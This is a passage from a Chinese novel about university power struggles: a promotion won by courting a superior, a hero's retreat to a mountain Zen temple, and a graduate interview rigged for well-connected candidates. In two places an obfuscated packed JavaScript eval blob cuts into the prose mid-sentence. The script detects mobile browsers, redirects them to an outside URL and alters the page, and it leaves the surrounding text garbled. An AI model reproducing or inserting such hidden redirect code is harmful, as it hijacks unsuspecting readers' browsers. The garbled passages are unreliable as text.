钱曼莉这样一说,秦冰纶反而心里有了些底。挂断电话后,再一次将孟超的承诺核对无误后,她开始思虑着攻克戈大垣这座“堡垒”的路径。 戈大垣和前任许继武是截然不同的两种人。许继武的欲望很容易在脸上写出来,只 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转机在一次偶然中降临。这天,当秦冰纶拿着材料去向戈大垣汇报工作时,虚掩的房门里传来戈大垣有意压低但倍显焦灼的声音:“妈,药按时吃了吗?……还是疼得睡不着?……我知道,我知道……那个进口药副作用太大,您受不了……我正在托人打听……看中医这边有没有法子……好,您别急,我再想办法……,这个周末我回去看您……。” 一声沉重的叹息后,传来话筒拍在话机上的声音。 军人出身的沈菊英在楚江大学是有名的“包打听”和“万事通”,从行政楼的领导秘书,到各学院的教务员,乃至后勤、图书馆那些看似边缘的工作人员,似乎都是她的“线人”,各种信息都能汇入她的耳中并被分门别类、妥善储存。接到任务后,只用了半天时间,沈菊英就传来了核心信息:戈大垣八十岁的去年患了一种怪病,北京、上海、武汉的大医院看了个遍,就是不见好转。戈大垣是出了名的孝子,为此每日茶饭不思焦虑灼心。 一道闪电瞬间照亮了秦冰纶的心空:戈大垣的孝心或许正是最柔软、最可能突破的防线。 打听清楚戈母怪病的症状后,秦冰纶开始调动各种资源遍寻良方。皇天不负有心人。沈菊英打听到李时珍故里——蕲春深山一位隐居不出的老中医“陈一贴”曾经治好过几起与戈母相似的病案。 秦冰纶一刻也不愿意耽搁,只带了沈菊英,驱车数百公里赶往“陈一帖”位于崇山峻岭的隐秘居所。一路颠簸自不必说,最后一段近乎无路的崖壁处,两人只能手脚并用地攀爬,用沈菊英的话讲,简直比唐僧西天取经还要难上几分。一个小时后,一栋红泥土墙茅草屋顶的房子出现在了前方。 虽然有人牵线,“陈一贴”对二人似乎没有显出更多的热情,直到秦冰纶奉上精心准备的几本珍贵古代医书外加一尊玉佛后,老中医似乎被其诚意打动,答应下山亲赴戈大垣的黄石老家为戈母诊治。 “陈一贴”果然名不虚传。一个小时的把脉问诊开方,两周后,折磨了数年的无法睡觉问题大为缓解。当母亲在电话里对儿子念叨“你们那个冰纶院长真是菩萨心肠”并交代儿子“一定要好好感谢冰纶”时,戈大垣手握着话筒沉默了许久。 窗外暮色渐沉,一如戈大垣此刻晦明交错的心绪。秦冰纶那张总是恰到好处微笑着的脸浮现在眼前——她为母亲寻医问药的那份“巧合”,实在太过精心。他心底泛起一丝本能的反感,那种处心积虑的投其所好,逃不过他这双在警界淬炼二十年的眼睛。可母亲电话里那松快如卸下千斤重担的声音,却像最柔软的羽毛,一遍遍拂过他的心头。戈大垣清楚,秦冰纶这份情实在太重了,重到足以在遴选副校长的天平一端为她压下实实在在的砝码。闭上眼睛,戈大垣心底不得不承认,抛开那些算计与传闻,秦冰纶的能力和才干在现有的中层正职中确是一流,更何况女性身份在当下也是个优势。经过几番理性的警惕与感性的感激的激烈拉锯,戈大垣心中的天平终究还是倾向了秦冰纶。 两个月后,秦冰纶的副校长任命文件正式下达。在周濂的建议下,戈大垣将招标、审计等重要职责压到了秦冰纶的肩上。 58. 禅寺深深 秦冰纶升任副校长的消息传来,顾明远莫名地激动起来。这样的激动并非是对权位的艳羡,而是一簇关乎自身命运的炽热火焰被蓬勃地点燃——历史学院院长的位置,空出来了!一直被困在基建处琐碎事务与权力倾轧中许久的心,此刻猛烈地躁动起来。顾明远仿佛又嗅到了历史学院藏书室里熟悉的墨香,听到了教室里自己授课时的清朗回声。回归历史学院的渴望从未如此具体而迫切,让他这个向来清高、不屑钻营的人,第一次主动放下了身段。 在新校园建设指挥部开完会后,顾明远开着车子迅速赶回老校区,鼓起勇气敲开了副校长秦冰纶办公室的门。 此时的秦冰纶,眼光疏离,早就没了当年见他时溢出的光采和柔情。 顾明远诚恳地诉说自己对历史学的眷恋与回归的渴望,言辞之间甚至刻意带上了一丝央求的口吻。 听他说完,秦冰纶将晶莹剔透的茶杯放在桌面上,脸上浮着一层职业化的微笑,语气不冷不热里带着标准的官腔:“顾处长的学术情怀我理解,不过干部调动是大事,我个人说了不算。何况,新校园建设一期工程刚刚启动,学校也离不开你啊。” 她甚至轻巧地将“皮球”踢到了孟超那边:“孟校长分管基建,这事至少还是要先征得他的同意吧。” 没有温度的话像一根冰冷的针,精准地刺破了顾明远心中鼓胀的希望气泡。他清晰地看到秦冰纶眼神中的敷衍,巨大的期望瞬间化为更加巨大的失落,沉甸甸地砸在心上。 从秦冰纶办公室出来,顾明远只觉得浑身发冷,但他还是不太死心,想到林思齐是秦冰纶的表妹,心里又有些活动起来:能不能请林医生在秦冰纶面前说项? 电话接通,他声音里的疲惫与沙哑无处隐藏:“林医生…有时间方便聊聊吗?” 林思齐温和平静的声音如清泉流淌而来:“可以呀。你在哪?我正好在离你们楚江大学不远的琴房练完琴,要不过来坐坐?” 琴房旁的茶室,松香与茶香袅袅。林思齐一袭素雅长裙,亲自为他斟上一杯暖热的铁观音。在她清澈目光的抚慰下,顾明远将满腹的委屈、失落,以及被秦冰纶无情驳回的回归梦,徐徐道了出来。 林思齐安静聆听,目光中满是理解,等他说完,轻轻颔首道:“你的心思,我懂。让你这个只想安静教书和做学问的人呆在现在这个位子,确实是难为了你。说实话,我挺佩服你的,在现在这个浮躁的时代,你还能坚持自己的理想,真的挺难得的。” 一句“我懂”,瞬间击中了顾明远心中最柔软的角落,这世上,终有还是有人能听懂他灵魂深处的风声。 然而,林思齐的话锋很快切入到了现实:“但是,据我分析,你们学校新校园建设如今箭在弦上,你能不能如愿回归,恐怕还真不是我表姐能够左右。退一步讲,即使她能左右,以我对她的了解,她也许更想要一个百依百顺的继任者,毕竟历史学院是她的‘自留地’呀,象顾先生这样有风骨、有主见的人,未必是她的首选哦。” “这么说,她应该会选江副院长的吧?”林思齐的话如冷水泼面,他顾明远清醒了几分。 看见顾明远神情有些落寞,林思齐嘴角又浮起那抹令他心安的浅笑:“其实罢,我觉得顾先生你也别太着急,有些事可以徐徐图之。” 林思齐起身为他续上茶水,声音温润如玉:“既然现在回归的条件还没有完全成熟,那就先等等再说吧。我相信你总有一天会梦想成真的。大不了……”,说到这里,林思齐有意停顿下来,在顾明远急切目光的催促下才顽皮地说道:“你不是说过你帮助你二姐在回乡创业的一整套讲话吗?大不了将来去农村的广阔天地立去大有作为去呀。” 一席话,逗得顾明远笑了起来:是啊,自己之所以如此热心为二姐张罗,固然有姐弟情深想帮二姐一把的成分,但顾明远心中其实已经开始在酝酿一个关乎自己未来的计划,只不过这个计划目前还是只是萌芽而没有完全清晰出来。 几乎是出于一种本能,一种深植于骨髓的习惯,顾明远再次萌生了归乡的念头。这并非一时兴起的逃离,而是历经无数次验证后,唯一有效的自我疗愈。多年来,每当命运的潮水变得浑浊,人生的航向陷入迷雾,他灵魂深处那根最敏感的弦,总会率先被故乡的气息所拨动——那是泥土被春雨浸润后的清新,炊烟夹杂着柴火味的温暖,冬日里屋檐下冰凌融化滴落的清脆……。与楚江大学的头衔、项目、倾轧、算计这些粘附在精神上的尘埃相比,只有故乡,仿佛一个永恒的、温暖的母体,总会沉默地为他保留着一处最干净的灵魂栖息地。在那片熟悉的天地里,在那些不为他任何头衔、只认得他是“顾家小子”的乡亲目光中,他才能将这颗在名利场中被挤压、被沾染得几乎窒息的灵魂,小心翼翼地捧出来,放在故乡纯净的阳光和微风中,慢慢晾晒,细细抚平,让它重新恢复轻盈与温热。 归乡的想法很快被二姐顾小满的电话发酵成了现实。当顾小满电话里告诉顾明远汪清早投资的“汪记生态旅游有限公司”即将挂牌并且已被任命为执行经理的消息时,顾明远当即决定回去参加二姐公司的成立大会。 初秋的“枞树湾”,野菊遍野。为给二姐的公司成立仪式造足声势,顾明远特意请来了已任县长的老同学许锐亲临现场打气。因为许锐的到来,现场官员云集,鼓乐喧天,红色的气球拱门下人头攒动,处处洋溢着热烈与喜庆。二姐穿梭在宾客间,脸上洋溢着激动与自豪,不时向弟弟顾明远投来感激的目光。这场面远超预期,无疑为项目的未来铺就了一条坚实的路径。 送别许锐后,顾明远信步走入公司基地,眼前的景象瞬间驱散了他连日来的疲惫。一片规模可观的青砖黛瓦四合院已初具雏形,而更令他眼前一亮的,是西侧那五十亩平整土地上拔地而起的数座巨型温室大棚,它们在秋日下泛着金灿灿的银光,与古朴的四合院相映成趣。 二姐顾小满脸上洋溢着创业的光彩,竹筒倒豆子般阐述着自己的蓝图:“大棚里重点是培植有机蔬果和花卉苗木,现在你们城里人就认一个‘生态’招牌……。” 顾明远被二姐清晰的规划深深打动,环顾着这片充满生机的土地,积压在心的各种烦恼被悄然驱散。 翌日清晨,睡得格外踏实的顾明远靠在尚有父亲气息的床背上,阳光穿过木窗格棂,形成一道道乳白的光柱,无数微尘在光柱中悠然起舞,宛如微缩的星河在无声旋转。这一刻,远离了楚江大学的喧嚣与倾轧,他感到了久违的、近乎奢侈的放松与自由。他惬意地伸展四肢,骨节发出轻微的脆响。一只灰喜鹊落在窗台,歪着小脑袋好奇地打量他。顾明远童心忽起,轻轻吹了声口哨。灰喜鹊非但不怕,反而清脆地叫了两声回应,仿佛熟识的老友。 吃过早饭后,顾明远决定去斗方山拜访久未谋面的静远禅师。大姐备好的禅师爱吃的藕粉圆子和高粱粑粑小山似的堆在竹篮里,二姐骑着摩托从村里小卖部买回新鲜的果蔬贡品和檀香纸钱。准备停当后,在大黄狗陪伴下,姐弟二人踏上了前往斗方山的小径。 路过两个湾子,看见很多家里大门都是铁将军紧锁,稀稀拉拉见不到几个人影,顾小满叹息道:“年轻人都出去打工了,现在湾子里就剩些老人孩子守着空房子了。” 顾明远眉头紧锁:“这不就是‘空心村’吗?那老人孩子谁来照应呢?” 顾小满无奈摇头:“照顾?自己照顾自己呗。” “那生病了呢?” “唉”,顾小满叹了口气不再说话。 一个想法悄然漫上顾明远心头,这让他藏在心中的想法又清晰了一分。 清晨的斗方山简直就是喧嚣尘世外的净土。林间鸟鸣清脆,山溪潺潺,交响着山林特有的乐章。石阶蜿蜒向上,两旁古木参天,松、竹、杉交织成浓密的绿荫。晨雾如纱,尚未散尽,在林间轻盈缭绕。眼前的山野、脚下的故土、远处村落升起的袅袅炊烟、隐约传来的鸡鸣犬吠、田间辛勤劳作的模糊身影……这一切,顾明远既熟悉又陌生,一股温润的暖流和豁然的畅快感在胸中涌动,他情不自禁学着父亲当年的样子,摇头晃脑吟诵起陶渊明的《归园田居》:“少无适俗韵,性本爱丘山……”。滑稽的样子逗得顾小满哈哈大笑起来。 已过古稀的静远禅师得知故人之子来访,身着衲衣,手持禅杖,亲自在山门口迎候。慈和的目光仿佛穿透了岁月,与顾明远记忆中样子并没有太大的变化。 姐弟二人入寺焚香还愿后,静远单独将顾明远引入到禅房。房内陈设简单,一床、一几、两个麦秸编织的蒲团,黄泥夯就的地面映着窗外竹影的斑驳。小沙弥奉上用山泉水烹煮的野茶,茶汤清亮,香气淡雅。 静远禅师虽然衰老了不少,但精神矍铄,记忆惊人。从斗方山名字的由来(山形酷似量米之斗方)、禅寺的千年沧桑、历代高僧大德驻锡讲经的盛况,如数家珍、娓娓道来。提及山门上那苍劲有力的“斗方禅寺”四字乃赵朴初先生亲题,顾明远心中不免对这座古刹的敬意又添了几分。 禅房内,一老一少对坐蒲团之上。窗外的竹叶在风中摩挲,发出“沙沙”的轻响,如同自然的梵唱。屋内茶香袅袅,混合着麦草的气息。坐在蒲团上,看着地上摇曳的光斑,听着风过竹林,顾明远感到一种久违的、源自心底的安宁与踏实。对面的静远禅师,神色淡泊,气息平和,即便不言不语,周身也流淌着一种澄澈宁静的佛性,如同秋夜皎洁的月光,无声无息地浸润着他这颗被尘世烦扰浸透的凡心。那些深藏心底的困惑,如同沉底的沙砾,被这宁静的“月光”搅动,翻涌上来。 静远禅师的目光温和地落在顾明远身上,仿佛能洞悉他因为父亲离世而郁结在眉宇间的忧伤,声音低沉而充满抚慰的力量:“时光如流水,逝者不可追。令尊一生乘愿而来,无憾而去。施主家学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904259|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊源,慧根深种。生死名利,不过梦幻泡影。佛经言:‘生死事大,无常迅速。’看开,放下,随缘自在。” 念毕,木槌轻敲三下身旁的木鱼,清越空灵的声音在斗室中回荡,如同钥匙,轻轻打开了顾明远心扉的一角。 顾明远深吸一口气,抛出了积压心头的困惑:“我的梦想其实只愿三尺讲台传道授业。如今身不由己,终日周旋于人事倾轧、利益算计之中,如履薄冰,身心俱疲。师父能不能指点一二?” 静远禅师眼神如古井无波,轻轻拂去衲衣袖上一只误入的瓢虫,动作轻柔,仿佛怕惊扰了这小小的生命。他端起粗陶茶杯,呷了一口清茶后缓缓开口: “老衲远居世外,谈不上指点。以前倒是听令尊提及过你职业上的一些烦恼。以老衲浅见,关键还是平常心。平常心既非麻木心,亦非逃避心,而是在纷扰中知所行,明所止。你既然存有学者之本心,那就忘掉那些虚妄的争斗,放弃强求立即解脱的执念。譬如行舟,风浪不止,然舵在汝手。心念专注学问本身,哪怕每日仅得片刻宁静,也要不忘耕耘,这既是不忘初衷,也是滋养慧根。待得机缘成熟,水到渠成,自可重返清流。强行挣扎,反易容易沉溺。记住该记的,忘掉该忘的,接受该接受的,放弃该放弃的,心田便自会澄澈如镜的。” 想起自己情路的坎坷和迷茫,顾明远继续问道: “人世间很多人不知情为何物或者一生为情所困。心中所念,未必可得;世俗所缚,难以挣脱。如何不负他人,亦不负己心?师父对此有何妙见?” 禅师气息沉入丹田,抬眉温声道: “情如流水,可载舟,亦可覆舟。情执之苦,在于强求与占有。佛家讲‘随缘’与‘慈悲’。随缘,是了知因缘聚散无常,珍惜当下善缘,不苛求永恒拥有;无缘或缘尽时,亦能心怀祝福,坦然放手。慈悲,是将小我私情升华为对众生之关爱与体谅。不负他人,是信守承诺,真诚以待;不负己心,是明心见性,不违本真。情之一字,贵在真诚与自在,而非捆绑与痛苦。” 顾明远眉头松开不少,继续发问: “现在尘世间经常会出现价值观颠倒的困惑。兢兢业业、正直清白者,往往困顿潦倒;投机钻营、寡廉鲜耻者,反倒左右逢源。常言‘好人好报’,为何现实常悖于此?这人生的价值,究竟如何安放?” 待顾明远话音落尽,禅师眼中闪过一丝洞悉世情的睿智光芒:“施主所惑,在于将‘报’局限于眼前的逢源。佛家因果,贯通三世,深远难测。让好人成为好人,秉持良知,心怀坦荡,夜半不怕鬼敲门,此心之安,此魂之净,便是上天对他最大的‘好报’,是千金难买的珍宝。让恶人成为恶人,沉溺贪嗔痴,日夜煎熬于恐惧、空虚与无休止的算计之中,纵有万贯家财、滔天权势,其心已入地狱,这难道不是最严厉的惩罚?至于施主说到的人生何以有价值”,静远停了片刻,目光投向窗外,声音空灵而坚定:“生命之价值,其实不在索取之多寡,而在奉献之深浅。自求心安,方得真平安;关怀他人,始获大幸福。施主乃智慧之士,身负才学,当知佛家所重,在于‘慈悲喜舍’。以智慧之光启迪蒙昧,以仁爱之心扶助弱小,此乃大功德。个人的获取终是云烟,唯有对他人、对世界的贡献,方能铸就生命的重量与超越,如星辰虽渺,其光永恒。” ………… 不知不觉间,时间已近晌午。禅师的妙语,如同山涧清泉,潺潺流入干涸困惑的心田。又似一阵清冽的山风,吹散了眼前的迷障。机会难得,顾明远欲再深究,却见门外等候的二姐不是给自己焦急地递着眼色,只好知趣起身告辞。 禅师坚持将姐弟二人送至山门。秋阳将他的袈裟染上一层温暖的金边。他目光深邃地凝视顾明远:“我观察施主颇具慧根,佛缘深厚。今日一别,后会难期。最后,老衲赠你庄子四言——‘不累于俗’、‘不饰于物’、‘不苟于人’、‘不忮于众’。望施主于红尘浪涌中,持守本真,自在安然。”言罢,双手合十,低诵一声佛号,在小沙弥的搀扶下,转身飘然步入苍翠竹林深处。那一抹明黄的袈裟在竹影间若隐若现,最终与山林融为一体。 姐弟二人沿着青石板铺就的山径缓缓下行。身后,斗方禅寺传来悠扬深远的诵经声与木鱼清响,与山间的风吟鸟唱交织成一首洗涤灵魂的天籁。他驻足回望,那座掩映在苍松翠柏间、略显荒疏却庄严依旧的古刹,在秋日的晴空下显得格外沉静肃穆。一股前所未有的清明与力量,伴随着禅师的赠言,在他心中生根发芽。顾明远知道,此行未必能立时解决所有困惑,但禅师那句“以智慧之光启迪蒙昧,以仁爱之心扶助弱小”的话,如同一盏指路明灯,为顾明远照出了一条未来可以前行的路来。象牙塔再也没有了以前的神秘和高雅。它或许只是一个渡口,既渡自己,也渡他人。真正的学问,也许不在于发表论文或出版专著,而是能够帮人解决烦恼和困厄。真正的道场,在象牙塔外,在烟火人间。 59. 面试风波 被秦冰纶强行推上历史学院院长的位置后,江鸥影感觉自己像穿了件不合身还硌人的戏服。她有自知之明,既无运筹帷幄的帅才,更缺冲锋陷阵的锐气。若非秦冰纶软硬兼施的“鞭策”和自家那位国企老总丈夫的“鼓励”,她宁愿躲在办公室里平平淡淡地躲清闲。 上任一个月后,一年一度的研究生面试便成了江鸥影新官上任要闯的第一道火焰山。 往年担任答辩小组负责人时,自己只需按部就班按照既定的流程问答赋分即可。现在却不同了,从组建专班、延请专家、协调场地,到平衡各方盘根错节的利益,桩桩件件都需她这个新院长“定夺”。焦头烂额之际,她只得硬着头皮去找学院联系领导秦冰纶“请示汇报”。 秦冰纶晋升副校长后,江鸥影明显感觉两人之间的氛围变得有些微妙起来。昔日可以随意调侃说笑的“姐妹”,如今分坐宽大办公桌两边,犹如隔出了一道鸿沟,对上下级关系显示得明明白白。 江鸥影刚坐下想倒苦水,抬眼便撞上秦冰纶审视的目光——那眼神里昔日的随和只剩下威严。 江鸥影心头一懔,慌忙坐直身子,换上公事公办的腔调汇报起研究生面试工作的准备情况。 秦冰纶并不急于指示,指尖在光洁的桌面上轻轻一点,声音不高却带着金石之音:“江院长,感觉你的角色转换还没完全到位啊。”顿了顿,目光和口吻一样锐利:“首先,你心里得强化院长身份的认同;其次,言行举止要符合这个身份。我给你讲过多少次了?不要老是说什么‘不想当院长’的牢骚话,听着倒像是我秦冰纶强人所难似的。” 这番话像一道冰冷的楚河汉界,进一步将两人清晰地划分到两岸。江鸥影脸上火辣辣的,唯唯诺诺地保证今后定当谨言慎行。 秦冰纶语气稍缓:“研究生面试流程运行十多年了,没那么复杂,依照惯例执行即可。关键是抓住几个要害环节。” 江鸥影如同抓住救命稻草,脱口而出:“对对,我今天就是来请您指点要害环节的。” 秦冰纶眼底掠过一丝不易察觉的轻蔑,心底暗叹“这十年副院长是怎么当的”,面上却仍耐心“赐教”:“要害?你可以和菊英书记多沟通呀。首要一点,你得分清‘全日制’与‘非全日制’吧。非全那边,水至清则无鱼,不必过分纠结质量,交给菊英去办好了。你呢,集中精力抓好全日制。”秦冰纶似乎不太放心,身体微微前倾压低声音说道:“周校长对这次全日制答辩放出重视,毕竟关乎人才培养质量,咱们历史学院是学校学科建设的重点院,你得组织人手将所有入围考生仔细筛选一遍,心中有数,面试时才能有的放矢嘛。” “筛?筛什么?”江鸥影茫然:“每年不都是按流程走吗?” 秦冰纶眉头微蹙,语气带了丝不耐烦:“亏你还做了七八年评委!百十号入围的,你不得事先搞清楚哪些是值得培养的‘绩优股’,哪些是必须保过的‘内部股’?” 看见江鸥影依旧有些懵懂,秦冰纶彻底失去耐心,起身催促,让江鸥影回去好好召开班子会研究细节。 江鸥影心有不甘,将准备好的面试方案初稿递上:“秦校长,您是学院的老领导,干脆直接指示我们该怎么做?我照着执行就行了。” 秦冰纶随手翻看两页,红铅笔的笔尖在“文化史答辩组”名单上逡巡,最终停在“周青”二字上:“她?够格吗?” “不是规定副教授以上职称就可以吗?”江鸥影替周青辩解。她知道,秦冰纶对周青和副院长孙启亮素有成见,自当年周青构陷顾明远之事败露后,秦冰纶更是将其打入冷宫。在周青的问题上,江鸥影与秦冰纶观点相左。因年龄相仿,两人私交不错,江鸥影出任院长后,两人无形中拉近了距离。 “所以说你考虑问题还是欠周全。”秦冰纶语带讥诮,话说得再明白不过。 江鸥影心中对秦冰纶揪住周青的做法有些不满,继续硬着头皮解释:“顾处长那边‘文化史’组人手确实紧张,安排周青进去也是与他商量过的。” 秦冰纶语气转为严厉:“顾明远糊涂,你也跟着糊涂?他显摆什么大度格局?忘了当年周青在论文里给他挖坑的事了?” 江鸥影觉得她小题大做,还想争辩:“顾处长应该没那意思吧……?” “你这是在指责我错怪好人?”秦冰纶打断她,声调抬高:“人手不够就能随便塞阿猫阿狗?”将周青比作“阿猫阿狗”令百依百顺的江鸥影忍不住涨红了脸:“周青好歹是副教授,工作也很踏实,这几年成果也还不少,如果她不够格,另外两个组的几位海归讲师的资格恐怕也会被人诟病。” 这几位海归是秦冰纶钦点的。秦冰纶没料到“马大哈”江鸥影竟学会了反过来“将军”,不好继续死咬周青,转而将笔尖滑向另一个名字——“莫笑非”:“你把这位大爷塞进顾明远组里,不怕顾明远难做?” 江鸥影胸有成竹:“您知道老莫是得罪不起的。老莫坚持要进顾处长这组的。” “哦?什么缘由?” “听说……他一个熟人的孩子在那组面试。” “哼,果然有名堂。这家伙不是省油的灯,你就不怕他节外生枝?” “他都退休两年了,应该掀不起多大风浪吧。” 秦冰纶意味深长地说道:“我劝你还是提前给顾明远打个预防针。到时候两个认死理、爱较真的人杠上,最后收拾烂摊子的还是你这个院长。” 秦冰纶居高临下的教训口吻让江鸥影心头十分不快,干脆让藏在包里准备送出的兰蔻香水不再露面。 正准备起身告辞,秦冰纶叫住了她。门掩上后,秦冰纶压低声音说道:“有个叫什么颜若曦的考生,你可以关注一下。” “颜—若—曦?”江鸥影心头一跳,险些失声。这名字她太熟悉了。前晚,颜若曦的行长父亲刚宴请过她和丈夫。散席后,丈夫告诉自己的公司一笔三千万的贷款正卡在这位行长手中。 如今秦冰纶也在关注同一人,江鸥影反倒觉得事情好办了些。 回到办公室,江鸥影并未按秦冰纶的要求去找副书记沈菊英商量,而是先请来了“文化史”答辩小组组长顾明远。 “顾处,你们文化史方向今年可是大丰收,有不少潜力股啊。”江鸥影笑着将面试名单推了过来。 顾明远最关心的莫过于生源质量,便急切地翻看起名单来,看见“毕业院校”一栏中不少985、211高校的毕业生,眼睛顿时亮堂起来:“这么多名校的啊?” 江鸥影嘴角微撇着调侃道:“看来顾大教授也未免俗嘛。我说的潜力股可不是指这些名校的,你看看第五页吧。” 翻到第五页,顾明远眉头微皱:“江院长开玩笑的吧?三个地方院校,还有个电大成人本科……。”江鸥影故意沉吟不语起身用手指在“李慕白”的名字点了点,顾明远不由得对这个来自有所市州高校的考生注意起来:在读本科期间,发表五篇论文,其中一篇竟然是在顶级的《历史研究》上发表的。顾明远心里有些震惊:这样的研究成果即便在教研室的教师中都属于数一数二的。正要细问详情,江鸥影的手指又移向了下面的一个叫“叶笛”的考生。顾明远的心跳猛地漏了一拍:这名字怎么这么眼熟呢?细看籍贯,顾明远立刻明白:叶笛就是恩师叶少雄的女儿,一看她的简历,也不简单:高中只读了两年就提前考入985高校,除了发表论文外,还通过了钢琴10级的考试,在全省高校羽毛球比赛中获得女子单打第四名……。震动之余,顾明远心里不免有些失落:女儿报考楚大研究生,叶老师竟然半个字都没有给自己这个学生提起。 江鸥影是按照秦冰纶的提醒专门给顾明远打莫笑非的预防针的,特意提到了莫笑非熟人的孩子参加他们组答辩的事情。顾明远轻笑一声,指尖在桌沿不急不缓地敲了两下:“既然是面试,终究要看真才实学。他执拗他的,我们按章程、按规矩办就是了。场面上总要过得去吧。” 江鸥影好意提醒道:“到时候你主持时灵活些,别弄得场面尴尬了。” 顾明远声音冷了下来:“江院长,这可是全日制研究生面试。你不会要我睁只眼闭只眼,搞无原则放水吧?”说到这里,他的眼前闪过蔡勋那张轻松弄到文凭后得意洋洋的脸,心里对现在研究生培养中已经开始被权钱亵渎的做法更加厌恶起来。 江鸥影被顾明远反诘得有些发虚,只能含糊其辞地开起了玩笑:“你看你又认真了。你也知道,老莫虽然退休了,但对咱们历史学院还是很有影响力的。他这样的大腕,总得给点面子不是?” 看见顾明远沉默不语,江鸥影又打着秦冰纶的旗号说出了“颜若曦”的名字。 顾明远“嚯”地起身,椅子腿在地板上划出刺耳声响。他看着江鸥影,脸上混杂着冷笑与失望:“看来江院长是有备而请的哦。江院长,这答辩组长我能不能请辞呀?现在大家口口声声讲‘择优录取’,应该换成‘择关系录取’更加贴切吧?我这个组长其实不过是傀儡罢了,不当也罢。” 江鸥影被顾明远的反应吓了一跳,赶紧拱手作揖:“老弟你开什么玩笑呀?姐姐我这是第一次主持这个工作,你总不能拆我的台吧?更何况你是周校长亲自点名的主考官,我也没权力动你呀?” 这些年江鸥影一直待自己不错,她的慌乱和生气让顾明远稍微冷静了些,想想自己这个组里还有不少像李慕白、叶笛这样的优秀考生,他便自我转圜起来:“行吧,看在你江院长的面子上,我尽量完成任务,让大家称意吧。” 走出江鸥影办公室,顾明远想起与静远禅师的对话。他明白,在强大的现实压力面前,个人的清高与坚守其实是苍白无力的。即便如此,他还是决定在心中划出一条模糊而脆弱的底线:在“不逾矩”的前提下作些适当的“妥协”。 研究生面试是楚江大学的一件大事。校长周濂亲自督阵,主持召开的各面试组组长会议上,没少用重话敲打大家。顾明远心里暗笑:校长的警钟每年都敲,但不还是外甥打灯笼,一切照舅(旧)的么。 文化史组七位评委鱼贯着走进教室。出于礼节,顾明远虚指组长席位请莫笑非入座。莫笑非也不谦让,一屁股坐了下去。负责本组协调的黄阿娇赶忙上前,说是一会儿校长要来巡视,莫笑非只好讪笑着嘟囔“小顾请我的嘛”,悻悻挪到旁边的座位上。 前面几位的答辩平淡无奇,波澜不惊。直到李慕白登场,评委们精神似乎一下子振奋起来。回答问题时引经据典,信手拈来。顾明远有意抛出两个刁钻的古文献问题,亦被其轻松化解。 这样的卓绝表现,一下子将其他的考生映衬得平庸起来。轮到莫笑非的“关系户”上场时,不待组长顾明远发话,莫笑非便迫不及待抢夺“首问权”,这让一直互有芥蒂的李姓考官有些生气,当众提醒莫笑非要按规矩办事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904260|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,莫笑非只好将“权杖”交还给组长顾明远。 因为江鸥影打过招呼,顾明远不想为难莫笑非,便有意提了个常识性的问题,没想到考生回答起来竟然磕磕巴巴。这下莫笑非坐不住了,不等考生答完,便挥手打断,连珠炮般抛出两个看似艰深的问题,奇怪的是,考生这次却对答如流、天衣无缝。李姓考官在一旁冷笑:“老莫这是神助攻啊。”待考生答完莫笑非的提问后,李姓考官也故意抛出了两个问题,考生一时间又卡了壳。莫笑非只好向顾明远求援,递过一张纸条来。顾明远扫了一眼“请顾组长赶快结束吧”,一时起了怜悯之心,提前总结让他通过。“颜若曦”的表现更糟,可是分数要好过莫笑非熟人孩子,这让莫笑非有些气恼,在学生退场后不停地嘟哝“不公平嘛”“不公平嘛”。 叶笛排在倒数第二登场。此时评委们已疲态尽显,有的不停地打着哈欠,只有顾明远精神高度集中,他想一较恩师女儿的真实水平。 叶笛在门口喊了声“报告”后,意气风发地走上了讲台。她的肤色不算太白,身姿却十分挺拔,尤其那双眼睛,像沉静湖水中映着的星辰,清澈得能望见底,只一眼便会让人如烙印般刻在记忆里。 尽管无人知道,顾明远还是主动避嫌,将首问权给了莫笑非。莫笑非一下子来了精神,也不客气,抛出了一个“为何《楚辞》反复运用‘香草美人’修辞”十分生僻的问题。 顾明远心头一紧,暗悔不已。其他评委也是皱起了眉头,不理解莫笑非为何要抛出这样一个问题来。 叶笛倒是显得趁着,在面前的稿纸上写了片刻,随机挺直腰板朗声作答:“其一,触景生情。据考,《楚辞》涉及楚地植物达五十五种,皆为屈子日常所见,睹物思情,以物拟人,自然天成;其二,托女怀君。《思美人》开篇即‘思美人兮’,看似言情,实为屈子惯用隐喻,借男女喻君臣;其三……”,条理清晰,论证有力,引得几位评委纷纷伸出了大拇指。 莫笑非本想卖弄一下子自己的深奥,没想到被这个年轻的小姑娘轻松化解,觉得自己的权威受了挑战,遂临时起意继续作难,刚摇头晃脑吟出“三国经学家王弼云:‘玄者,幽摛万类,不见形者也’……”,叶笛嘴角掠过一丝浅笑。 “你笑什么?”莫笑非有些恼羞成怒。 叶笛扬眉朗声道:“老师,您刚才引的似乎是扬雄的话吧?”声音不高,却如石破天惊。 莫笑非老脸瞬间涨红,支吾道:“是么?呃……口……口误。”一挥手,干脆放弃了提问权。 一场风波终告平息。最终合议评分时,叶笛名下有个刺眼的“30分”,而莫笑非的关系户则得了个夸张的“97分”。好在规则规定去掉最高最低分。顾明远心中了然,也就懒得计较。最后,叶笛仍以文化史方向第二名顺利通过。 如果说文化史组是暗流涌动,江鸥影亲任组长的国际关系史方向则算得上惊涛拍岸。 